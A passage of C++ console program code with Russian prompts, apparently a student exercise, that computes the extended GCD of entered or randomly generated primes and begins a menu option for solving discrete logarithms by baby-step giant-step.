                cout << "НОД(" << a << ", " << b << ") = " << g << endl;
                cout << "x = " << x << ", y = " << y << endl;
                cout << a << "*" << x << " + " << b << "*" << y << " = " << g << endl;

                waitForAnyKey();
                break;
            }
            //* Случайные простые числа
            case 3:
            {
                a = generate_prime(10, 200);
                do
                {
                    b = generate_prime(10, a);
                } while (b > a);
                cout << "\nСгенерированы простые числа: a = " << a << ", b = " << b << endl;

                auto [g, x, y] = extended_gcd(a, b);
                cout << "НОД(" << a << ", " << b << ") = " << g << endl;
                cout << "x = " << x << ", y = " << y << endl;
                cout << a << "*" << x << " + " << b << "*" << y << " = " << g << endl;

                waitForAnyKey();
                break;
            }
            //* Ошибка
            default:
                cout << "Неверный выбор!\n";
                break;
            }

            break;
        }
        //! Поиск дискретного логарифма
        case 4:
        {
            cout << "\nВыберите способ ввода чисел:" << endl;
            cout << "1 - Ввод с клавиатуры" << endl;
            cout << "2 - Генерация случайных чисел" << endl;
            cout << "Ваш выбор: ";
            cin >> subchoice;

            switch (subchoice)
            {
            //* Ввод с клавиатуры
            case 1:
            {
                cout << "\nВведите a, y, p (y = a^x mod p): ";
                cin >> a >> b >> c;
                long long x = bsgs(a, b, c);
                if (x != -1)
                    cout << "Решение: x = " << x << endl;
                else
                    cout << "Решение не найдено" << endl;